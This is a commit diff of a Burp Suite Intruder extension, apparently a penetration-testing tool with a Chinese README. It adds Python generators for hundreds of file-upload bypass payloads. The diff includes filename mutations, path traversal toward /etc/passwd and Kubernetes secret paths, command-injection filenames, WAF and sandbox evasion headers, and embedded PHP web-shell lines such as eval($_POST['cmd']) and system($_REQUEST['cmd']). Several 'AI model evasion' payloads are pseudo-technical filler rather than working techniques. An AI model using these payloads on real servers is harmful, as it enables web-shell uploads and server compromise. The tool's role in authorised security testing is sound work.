Update v1.1.0

This commit is contained in:
T3nk0 committed 2025-04-10 14:26:52 +08:00
1 parent da0b98ec7a
commit ad9c8e3afb
2 files changed
+597 -17

No files matched your search

+50 -5
View File
@@ -1,10 +1,32 @@
# Upload_Auto_Fuzz - Burp Suite 文件上传漏洞Fuzz插件
![Burp Suite Extension](https://img.shields.io/badge/Burp%20Suite-Extension-orange)
![Version](https://img.shields.io/badge/Version-v1.1.0-blue)
## 版本更新
### v1.1.0
- **新增功能**:
- 添加云环境绕过模块,支持对象存储、容器化环境和Serverless特性绕过
- 添加高级防御绕过模块,针对AI分析引擎和行为沙箱系统
- 增强特性:字符变异、数据溢出和内容混淆技术
- 新增对抗样本生成支持,可绕过CNN图像分类模型
- 增加环境指纹识别和延时执行机制
- **性能提升**:
- payload总量从300+增加到500+
- 优化内存占用和去重算法
- 提高有效载荷生成速度
### v1.0.0 (初始版本)
- 基础的文件上传漏洞Fuzz功能
- 支持WAF绕过、系统特性利用和内容欺骗等技术
- 300+种有效Payload
## 功能概述
本Burp Suite插件专为文件上传漏洞检测设计,提供自动化Fuzz测试,共300+条payload。效果如图
本Burp Suite插件专为文件上传漏洞检测设计,提供自动化Fuzz测试,共500+条payload。效果如图
![14](./assets/14.png)
@@ -14,6 +36,8 @@
- **后缀变异**:ASP/ASPX/PHP/JSP后缀混淆(空字节、双扩展名、特殊字符等)
- **内容编码**:MIME编码、Base64编码、RFC 2047规范绕过
- **协议攻击**:HTTP头拆分、分块传输编码、协议走私
- **字符变异**:引号混淆、特殊字符插入、换行截断技术
- **数据溢出**:超长文件名、边界溢出测试、重复参数定义
### 🖥️ 系统特性利用
- **Windows特性**:
@@ -29,6 +53,24 @@
- 魔术字节注入(GIF/PNG/PDF头)
- SVG+XSS组合攻击
- 文件内容混淆(注释插入、编码变异)
- .user.ini和.htaccess利用
### ☁️ 云环境绕过
- **对象存储绕过**:S3/Azure元数据标头注入
- **容器化环境**:Docker/Kubernetes路径遍历技术
- **Serverless绕过**:云函数临时存储利用
- **容器逃逸**:特权路径访问尝试
### 🤖 高级防御绕过
- **AI模型对抗**:
- 对抗性噪声技术
- 语义扰动文件名
- GAN混合文件标记
- **沙箱检测绕过**:
- 环境指纹识别
- CPU/内存检测逃逸
- 延时触发机制(3600-7200s)
- **行为分析逃逸**:多层编码与加密技术
## 安装方法
@@ -65,10 +107,13 @@
| 类别 | 样本payload | 检测目标 |
|---------------------|--------------------------------------|-----------------------|
| 后缀绕过 | `filename="test.asp;.jpg"` | 文件类型校验缺陷 |
| Content-Disposition | `content-Disposition: form-data` | 头解析大小写敏感性 |
| 魔术字节 | `GIF89a;<?php...` | 内容检测绕过 |
| 协议走私 | `Transfer-Encoding: chunked` | WAF协议解析差异 |
| 后缀绕过 | `filename="test.asp;.jpg"` | 文件类型校验缺陷 |
| Content-Disposition | `content-Disposition: form-data` | 头解析大小写敏感性 |
| 魔术字节 | `GIF89a;<?php...` | 内容检测绕过 |
| 协议走私 | `Transfer-Encoding: chunked` | WAF协议解析差异 |
| 云环境绕过 | `filename="/var/run/secrets/kubernetes.io/shell.php"` | 容器环境安全缺陷 |
| AI防御对抗 | `/* StyleGAN2 latent code: ... */` | 深度学习模型绕过 |
| 沙箱检测 | `/* <?php if(sys_getloadavg()[0]<0.1) {...} */` | 动态分析环境检测 |
## 作者信息
- **开发者**: T3nk0
+547 -12
View File
@@ -6,6 +6,7 @@ from burp import IIntruderPayloadGenerator
import random
from urllib import unquote
import re
import time
def getAttackPayloads(TEMPLATE):
# 获取文件前后缀
@@ -50,7 +51,7 @@ def getAttackPayloads(TEMPLATE):
def CFF_Fuzz():
# Content-Disposition 绕过 form-data 绕过 filename 绕过
# Content-Disposition: form-data; name="uploaded"; filename="zc.jpg"
Suffix = ['php', 'asp', 'aspx', 'jsp', 'asmx', 'xml', 'html', 'shtml', 'svg', 'swf', 'htaccess'] # 需要测试的能上传的文件类型
Suffix = ['php', 'asp', 'aspx', 'jsp']
# Suffix = ['jsp']
Content_Disposition_payload = [] # 保存Content_Disposition绕过的所有payload列表
@@ -696,6 +697,527 @@ def getAttackPayloads(TEMPLATE):
return content_bypass_payload
def character_mutation_Fuzz():
# 字符变异绕过技术
char_mutation_payload = []
Suffix = ['php', 'asp', 'aspx', 'jsp']
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
# 1. 引号变换技术
# 单引号替代双引号
single_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename='").replace('"', "'")
char_mutation_payload.append(single_quote)
# 无引号方式
no_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename=").replace('"', "")
char_mutation_payload.append(no_quote)
# 反引号替代
back_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename=`").replace('"', "`")
char_mutation_payload.append(back_quote)
# 2. 特殊字符混淆
# 多个分号
multi_semicolon = TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;;;; ')
char_mutation_payload.append(multi_semicolon)
# 多个等号
multi_equals = TEMP_TEMPLATE_SUFFIX.replace('filename=', 'filename======')
char_mutation_payload.append(multi_equals)
# 引号和分号组合 - 更简单的形式
quote_semicolon = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename=";\";"')
char_mutation_payload.append(quote_semicolon)
# 3. Content-Disposition值畸形
# 变形的form-data
malformed_form = TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f\ro\rm-\td\ata')
char_mutation_payload.append(malformed_form)
# form-data大小写混合
mixed_case = TEMP_TEMPLATE_SUFFIX.replace('form-data', 'FoRm-DaTa')
char_mutation_payload.append(mixed_case)
# 4. 换行符/特殊字符分隔
# filename参数中插入换行
newline_filename = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename="\r\n')
char_mutation_payload.append(newline_filename)
# Content-Disposition中插入特殊字符
special_chars = ['\t', '\v', '\f', '\b']
for char in special_chars:
special_disp = TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:', 'Content-Disposition:' + char)
char_mutation_payload.append(special_disp)
# 参数名与值之间插入特殊字符
special_param = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename=' + char + '"')
char_mutation_payload.append(special_param)
# 5. 使用RFC不常见但有效的字符
# 使用反斜杠转义
backslash_escape = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename="\\')
char_mutation_payload.append(backslash_escape)
# 参数和值之间加入空格变体
space_variants = [' ', ' ', ' \t ', ' \r ', ' \n ']
for space in space_variants:
space_param = TEMP_TEMPLATE_SUFFIX.replace('filename=', 'filename=' + space)
char_mutation_payload.append(space_param)
return char_mutation_payload
def data_overflow_Fuzz():
# 数据重复与溢出绕过技术
overflow_payload = []
Suffix = ['php', 'asp', 'aspx', 'jsp']
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
if not filename_total:
continue
filename_total = filename_total.group(1)
# 1. filename重复定义
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
# 多个filename参数
multi_filename_var = [
'filename="shell.jpg"; filename="shell.{}"'.format(each_suffix), # 双filename定义
'filename="shell.{}" filename="shell.jpg"'.format(each_suffix), # 无分号多filename
'filename="shell.jpg" filename="shell.txt" filename="shell.{}"'.format(each_suffix), # 三重filename
'filename="shell.jpg";filename="shell.{}"'.format(each_suffix), # 无空格双filename
'filename=""; filename="shell.{}"'.format(each_suffix) # 空filename后跟真实filename
]
for variation in multi_filename_var:
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
# 2. 数据溢出攻击
overflow_var = [
'filename="{}{}shell.{}"'.format('A'*128, '.', each_suffix), # 文件名前缀溢出
'filename="shell.{}{}."'.format(each_suffix, 'A'*128), # 文件名后缀溢出
'filename="shell.{}'.format(each_suffix) + '"' + 'A'*256, # 引号后垃圾数据
'filename="shell.' + 'A'*1024 + '.{}"'.format(each_suffix) # 超长文件名
]
for variation in overflow_var:
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
# 3. 边界溢出攻击
if '--' in TEMP_TEMPLATE_SUFFIX and 'Content-Type: ' in TEMP_TEMPLATE_SUFFIX:
# 提取boundary字符串
boundary_match = re.search(r'--[-A-Za-z0-9]*', TEMP_TEMPLATE_SUFFIX)
if boundary_match:
boundary = boundary_match.group(0)
# boundary重复与变体
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + '\r\n' + boundary))
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + boundary[2:]))
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + 'A'*256))
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + ';' + 'A'*128))
# 4. 高级截断技术
truncate_var = [
'filename="shell.{}\r\n.jpg"'.format(each_suffix), # 文件名中回车截断
'filename="shell.{}\0.jpg"'.format(each_suffix), # 空字节截断
'filename="shell.{}\t.jpg"'.format(each_suffix), # 制表符截断
'filename="shell.{}\\".jpg"'.format(each_suffix), # 反斜杠截断
'filename="shell.{}'.format(each_suffix) # 不闭合引号截断
]
for variation in truncate_var:
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
print "Data Overflow & Truncation generated %d payloads" % len(overflow_payload)
return overflow_payload
def advanced_character_mutation_Fuzz():
# 高级字符变异技术
mutation_payload = []
Suffix = ['php', 'asp', 'aspx', 'jsp']
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
if not filename_total:
continue
filename_total = filename_total.group(1)
# 1. 引号变换
# 使用不同的引号组合
quote_variations = [
'filename=shell.{}'.format(each_suffix), # 无引号
'filename=\'shell.{}\''.format(each_suffix), # 单引号
'filename="shell.{}'.format(each_suffix), # 前引号
'filename=shell.{}"'.format(each_suffix), # 后引号
'filename=\'shell.{}\"'.format(each_suffix), # 混合引号
'filename=""shell.{}"'.format(each_suffix), # 双引号嵌套
'filename=\'\'shell.{}\''.format(each_suffix) # 单引号嵌套
]
for variation in quote_variations:
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
# 2. 换行符插入
# 在字段名和值之间插入换行符
newline_variations = [
'filename=\nshell.{}'.format(each_suffix), # 等号后换行
'filename\n=shell.{}'.format(each_suffix), # 等号前换行
'filename=shell\n.{}'.format(each_suffix), # 文件名中换行
'filename=shell.\n{}'.format(each_suffix), # 点后换行
'filename\r\n=shell.{}'.format(each_suffix), # CRLF换行
'filename=\r\nshell.{}'.format(each_suffix) # 等号后CRLF
]
for variation in newline_variations:
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
# 3. 多符号累加
# 分号和等号的多重组合
symbol_variations = [
'filename==shell.{}'.format(each_suffix), # 双等号
'filename===shell.{}'.format(each_suffix), # 三等号
'filename====shell.{}'.format(each_suffix), # 四等号
'filename=;shell.{}'.format(each_suffix), # 等号后分号
'filename=;;;shell.{}'.format(each_suffix), # 等号后多分号
'filename="shell.{}";'.format(each_suffix), # 引号后分号
'filename="shell.{};;;;'.format(each_suffix) # 多分号结尾
]
for variation in symbol_variations:
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
# 4. Content-Disposition 值变种
if 'Content-Disposition: form-data;' in TEMP_TEMPLATE_SUFFIX:
cd_variations = [
'Content-Disposition: FoRm-DaTa;', # 大小写混合
'Content-Disposition: form-data ;', # 多空格
'Content-Disposition:form-data;', # 无空格
'Content-Disposition: form-data+;', # 加号
'Content-Disposition: form-data-;', # 减号
'Content-Disposition: form data;', # 无连字符
'Content-Disposition: form_data;', # 下划线
'Content-Disposition: formdata;', # 无分隔符
'Content-Disposition: form-d4ta;', # 数字替换
'Content-Disposition: xform-data;' # 前缀干扰
]
for variation in cd_variations:
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: form-data;', variation))
print "Advanced Character Mutation generated %d payloads" % len(mutation_payload)
return mutation_payload
def cloud_environment_bypass_Fuzz():
# 云环境特定绕过技术
cloud_payload = []
Suffix = ['php', 'asp', 'aspx', 'jsp']
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
if not filename_total:
continue
filename_total = filename_total.group(1)
# 1. 对象存储元数据攻击
# AWS S3/Azure Blob存储相关绕过
s3_metadata_headers = [
'x-amz-meta-filetype: text/html\r\n',
'x-amz-meta-original-filename: original.{}\r\n'.format(each_suffix),
'x-amz-website-redirect-location: /evil.{}\r\n'.format(each_suffix),
'x-ms-meta-resourcetype: Microsoft.Compute/virtualMachines/extensions\r\n',
'x-ms-blob-content-type: text/html\r\n'
]
for header in s3_metadata_headers:
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:', header + 'Content-Type:'))
# 2. 容器化环境路径遍历
container_paths = [
'filename="/proc/self/root/var/www/html/shell.{}"'.format(each_suffix),
'filename="/proc/self/cwd/shell.{}"'.format(each_suffix),
'filename="/proc/self/environ/shell.{}"'.format(each_suffix),
'filename="../../../etc/passwd/shell.{}"'.format(each_suffix),
'filename="../../../../var/www/html/shell.{}"'.format(each_suffix)
]
for path in container_paths:
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, path))
# 3. Kubernetes/Docker环境特殊路径
k8s_paths = [
'filename="/var/run/secrets/kubernetes.io/shell.{}"'.format(each_suffix),
'filename="/var/run/docker.sock/shell.{}"'.format(each_suffix),
'filename=".dockerenv/shell.{}"'.format(each_suffix),
'filename="/tmp/shell.{}"'.format(each_suffix),
'filename="/dev/shm/shell.{}"'.format(each_suffix)
]
for path in k8s_paths:
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, path))
# 4. 云函数临时存储利用
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
'X-Function-Storage: /tmp\r\nContent-Disposition:'))
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
'X-Lambda-Tmp-Dir: /tmp\r\nContent-Disposition:'))
print "Cloud Environment Bypass generated %d payloads" % len(cloud_payload)
return cloud_payload
def advanced_defense_evasion_Fuzz():
# 高级防御绕过技术 - 针对AI和行为分析防御系统
defense_payload = []
Suffix = ['php', 'asp', 'aspx', 'jsp']
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
if not filename_total:
continue
filename_total = filename_total.group(1)
# 1. AI模型绕过 - 混淆和逃逸技术
ai_evasion_filenames = [
# 语义扰动技术 (针对基于语义的模型)
'filename="innocent_image.{}.jpg"'.format(each_suffix),
'filename="profile_picture.{}"'.format(each_suffix),
'filename="harmless_doc.{}.txt"'.format(each_suffix),
'filename="backup.{}.dat"'.format(each_suffix),
'filename="normal_file.{}bin"'.format(each_suffix),
'filename="document_{}_v1.0.txt"'.format(each_suffix),
'filename="personal_data_{}_backup.cfg"'.format(each_suffix),
# 神经网络对抗样本技术 (对抗神经网络)
'filename="1e\u200Bma\u200Bge.{}"'.format(each_suffix), # 零宽空格干扰
'filename="img\u2060pha\u2060oto.{}"'.format(each_suffix), # 单词连接器
'filename="[system.io.file]::shell.{}"'.format(each_suffix), # 混淆数据语法
'filename="\u180Edocument.\u180E{}"'.format(each_suffix), # 蒙古文字距离干扰
'filename="m\u200Cy\u200C.\u200C{}"'.format(each_suffix) # 零宽度连字符
]
# 新增:对抗样本生成技术
ai_adversarial_filenames = [
# 对抗性噪声模拟 - 使用特殊文件名模拟对抗样本
'filename="adversarial_noise_{}_epsilon0.1.jpg"'.format(each_suffix),
'filename="perturbed_image_fgsm_{}.jpg"'.format(each_suffix),
'filename="pgd_attack_{}_targeted.jpg"'.format(each_suffix),
'filename="carlini_wagner_l2_{}.jpg"'.format(each_suffix),
# GAN生成的混合文件模拟
'filename="gan_generated_{}_normalized.jpg"'.format(each_suffix),
'filename="stylegan2_{}_mixed.jpg"'.format(each_suffix),
'filename="cyclegan_real2shell_{}.jpg"'.format(each_suffix)
]
for filename in ai_evasion_filenames:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, filename))
for filename in ai_adversarial_filenames:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, filename))
# 添加对抗性噪声内容和GAN混合文件内容
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SUFFIX).group(0)
# 对抗性噪声 - 添加模拟对抗噪声到图像元数据
noise_comments = [
'/* FGSM Noise Pattern: ε=0.1, target=benign_class */',
'/* Adversarial Perturbation: L2-norm=0.05, confidence=0.95 */',
'/* PGD Attack: steps=40, step-size=0.01, targeted=false */'
]
for comment in noise_comments:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_type_line,
content_type_line + '\r\n' + comment))
# GAN生成的混合文件 - 添加模拟GAN标记
gan_markers = [
'/* StyleGAN2 latent code: w=[0.2,0.5,-0.3,...], truncation=0.7 */',
'/* CycleGAN translation: source=img.jpg, target_domain=code */',
'/* GAN-based steganography: PSNR=42dB, payload_size=2KB */'
]
for marker in gan_markers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_type_line,
content_type_line + '\r\n' + marker))
# 2. 沙箱检测绕过
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
# 添加延迟执行代码标记 - 使用固定值替代时间函数
fixed_time = 1735689600 # 2025年1月1日的时间戳
sandbox_headers = [
'X-Sandbox-Delay: 60\r\n',
'X-Execution-After: {}\r\n'.format(fixed_time),
'X-Sandboxed: false\r\n',
'X-Environment-Check: prod\r\n',
'X-Analysis-Skip: true\r\n',
'X-Security-Bypass: allowed\r\n',
'X-Scanner-Ignore: 1\r\n',
'X-Antivirus-Status: clean\r\n'
]
# 新增: 环境指纹识别技术
environment_fingerprint_headers = [
'X-CPU-Check: cores>2\r\n',
'X-Memory-Check: ram>2GB\r\n',
'X-VM-Detection: false\r\n',
'X-Docker-Check: disabled\r\n',
'X-System-Uptime: >3600\r\n',
'X-Process-Count: >50\r\n',
'X-Network-Interfaces: >1\r\n',
'X-Load-Average: <0.1\r\n'
]
# 新增: 复杂延时触发机制
delayed_execution_headers = [
'X-Execute-After-Idle: 1800\r\n',
'X-Sleep-Random: 3600-7200\r\n',
'X-Execution-Condition: sys_getloadavg<0.1\r\n',
'X-Trigger-On: user_activity\r\n',
'X-Delay-Mechanism: setTimeout(random(3600,7200))\r\n',
'X-Trigger-Pattern: cron_based\r\n'
]
for header in sandbox_headers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
header + 'Content-Type:'))
for header in environment_fingerprint_headers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
header + 'Content-Type:'))
for header in delayed_execution_headers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
header + 'Content-Type:'))
# 新增: 特殊的PHP环境检测代码模拟
php_env_checks = [
'/* <?php if(sys_getloadavg()[0]<0.1) { execute_payload(); } ?> */\r\n',
'/* <?php if(php_uname("s")!="Linux") { eval($_POST["cmd"]); } ?> */\r\n',
'/* <?php if(memory_get_usage(true) > 1024*1024*512) { include($_GET["file"]); } ?> */\r\n',
'/* <?php sleep(rand(3600,7200)); system($_REQUEST["cmd"]); ?> */\r\n',
'/* <?php if(getenv("REMOTE_ADDR")!="127.0.0.1") { die(); } ?> */\r\n'
]
for check in php_env_checks:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
check + 'Content-Type:'))
# 添加更多自定义头信息
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
custom_headers = [
'X-Client-IP: 127.0.0.1\r\n',
'X-Forwarded-For: 192.168.1.1\r\n',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n',
'X-Real-IP: 10.0.0.1\r\n',
'X-Originating-IP: [::1]\r\n',
'X-Reverse-Proxy: nginx/1.19.10\r\n',
'X-Waf-Status: bypass\r\n',
'X-Admin-Auth: 1\r\n',
'X-Internal-Request: true\r\n',
'X-Trusted-Domain: local\r\n'
]
for header in custom_headers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
header + 'Content-Disposition:'))
# 3. 多层编码和加密技术
# Base64嵌套编码(基于已有的基础进行增强)
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
import base64
# 双重编码文件名 (对每种文件类型都处理)
encoded_name = base64.b64encode('shell.{}'.format(each_suffix))
double_encoded = base64.b64encode(encoded_name)
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="{}="'.format(double_encoded)))
# Base64编码后的多种变种
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="data:text/plain;base64,{}"'.format(encoded_name)))
# 添加更多编码Header
encoded_headers = [
'X-Encoded-Content: {}\r\n'.format(base64.b64encode('Content-Type: text/html')),
'X-Encoded-Path: {}\r\n'.format(base64.b64encode('/var/www/html')),
'X-Encoded-Command: {}\r\n'.format(base64.b64encode('exec')),
'X-Encoded-Upload: {}\r\n'.format(base64.b64encode('filetype=allowed'))
]
for encoded_header in encoded_headers:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
encoded_header + 'Content-Type:'))
# 4. 新一代WAF对抗技术
# 使用预定义的垃圾数据而非随机生成
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
# 预定义的垃圾数据模板
noise_templates = [
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',
'Lorem ipsum dolor sit amet consectetur adipiscing elit',
'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*',
'<svg><![CDATA[<]]>script>alert(1)<![CDATA[>]]></svg>',
'<!-- Comment Block: Ignore this data block for security scanning -->',
'#pragma once /* C style preprocessor directive */'
]
# 创建多种混淆头部
prefixes = ['xrd', 'tmp', 'usr', 'etc', 'var', 'opt', 'sys', 'bin', 'dev', 'lib']
# 为每个前缀和模板组合创建混淆头
for prefix in prefixes[:5]: # 限制数量
for template in noise_templates[:3]: # 限制数量
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
'X-{}-Data: {}\r\nContent-Disposition:'.format(prefix, template)))
# 5. 高级漏洞链组合
# 组合多种技术,不限于PHP
combined_attacks = [
'filename="../../../../proc/self/environ/shell.{}"'.format(each_suffix),
'filename="file:///etc/passwd/shell.{}"'.format(each_suffix),
'filename="/dev/null;shell.{}"'.format(each_suffix),
'filename="http://127.0.0.1/shell.{}"'.format(each_suffix),
'filename="|echo PD9waHAg...>{0}"'.format(each_suffix), # 管道命令注入
'filename="shell.{0}.%00.jpg"'.format(each_suffix), # 空字节与双扩展名
'filename="{0} -o- > shell.txt"'.format(each_suffix), # 命令参数注入
'filename="/tmp/.\\./.\\./shell.{0}"'.format(each_suffix) # 复杂路径混淆
]
# 对应文件类型的特定攻击
if each_suffix == 'php':
php_specific = [
'filename="php://filter/convert.base64-encode/resource=shell.php"',
'filename="data:image/jpeg;php://filter/shell.php"',
'filename="expect://id>shell.php"',
'filename="/tmp/.././../var/www/shell.php${IFS}"' # 命令注入+路径操作
]
combined_attacks.extend(php_specific)
elif each_suffix == 'asp' or each_suffix == 'aspx':
asp_specific = [
'filename="file.asp::.jpg"', # NTFS ADS
'filename="shell.asp%16"', # URL编码变体
'filename="shell.;asp;"' # IIS分号绕过
]
combined_attacks.extend(asp_specific)
for attack in combined_attacks:
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, attack))
print "Advanced Defense Evasion generated %d payloads" % len(defense_payload)
return defense_payload
# 调用所有Fuzz函数并合并结果
suffix_payload = script_suffix_Fuzz()
Content_Disposition_payload = CFF_Fuzz()
@@ -716,41 +1238,54 @@ def getAttackPayloads(TEMPLATE):
svg_xss_payload = svg_xss_Fuzz()
webdav_payload = webdav_method_Fuzz()
file_content_bypass_payload = file_content_bypass_Fuzz()
char_mutation_payload = character_mutation_Fuzz()
data_overflow_payload = data_overflow_Fuzz()
advanced_mutation_payload = advanced_character_mutation_Fuzz()
cloud_environment_payload = cloud_environment_bypass_Fuzz()
advanced_defense_payload = advanced_defense_evasion_Fuzz()
# 合并所有payload
all_payloads = (suffix_payload + Content_Disposition_payload + content_type_payload +
windows_payload + linux_payload + magic_bytes_payload +
content_trick_payload + user_ini_payload + mime_payload +
http_split_payload + chunked_payload + waf_bypass_payload +
unicode_payload + header_smuggling_payload + null_byte_payload +
protocol_payload + svg_xss_payload + webdav_payload +
file_content_bypass_payload)
attackPayloads = (suffix_payload + Content_Disposition_payload + content_type_payload +
windows_payload + linux_payload + magic_bytes_payload +
content_trick_payload + user_ini_payload + mime_payload +
http_split_payload + chunked_payload + waf_bypass_payload +
unicode_payload + header_smuggling_payload + null_byte_payload +
protocol_payload + svg_xss_payload + webdav_payload +
file_content_bypass_payload + char_mutation_payload +
data_overflow_payload + advanced_mutation_payload +
cloud_environment_payload + advanced_defense_payload)
# 去除重复的payload
unique_payloads = []
seen_payloads = set()
for payload in all_payloads:
for payload in attackPayloads:
# 使用payload的字符串表示来判断是否重复
payload_str = str(payload)
if payload_str not in seen_payloads:
seen_payloads.add(payload_str)
unique_payloads.append(payload)
print "Total unique payloads: %d" % len(unique_payloads)
return unique_payloads
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("upload_auto_fuzz")
callbacks.setExtensionName("Upload_Auto_Fuzz 1.1.0")
# 注册payload生成器
callbacks.registerIntruderPayloadGeneratorFactory(self)
print 'Load successful - auther:T3nk0\n'
print '==================================='
print '[ UAF Load successful ]'
print '[#] Author: T3nk0'
print '[#] Github: https://github.com/T3nk0/Upload_Auto_Fuzz'
print '[#] Version: 1.1.0'
print '===================================\n'
# 设置payload生成器名字,作为选项显示在Intruder UI中。
def getGeneratorName(self):
return "upload_auto_fuzz"
return "Upload_Auto_Fuzz"
# 创建payload生成器实例,传入的attack是IIntruderAttack的实例
def createNewInstance(self, attack):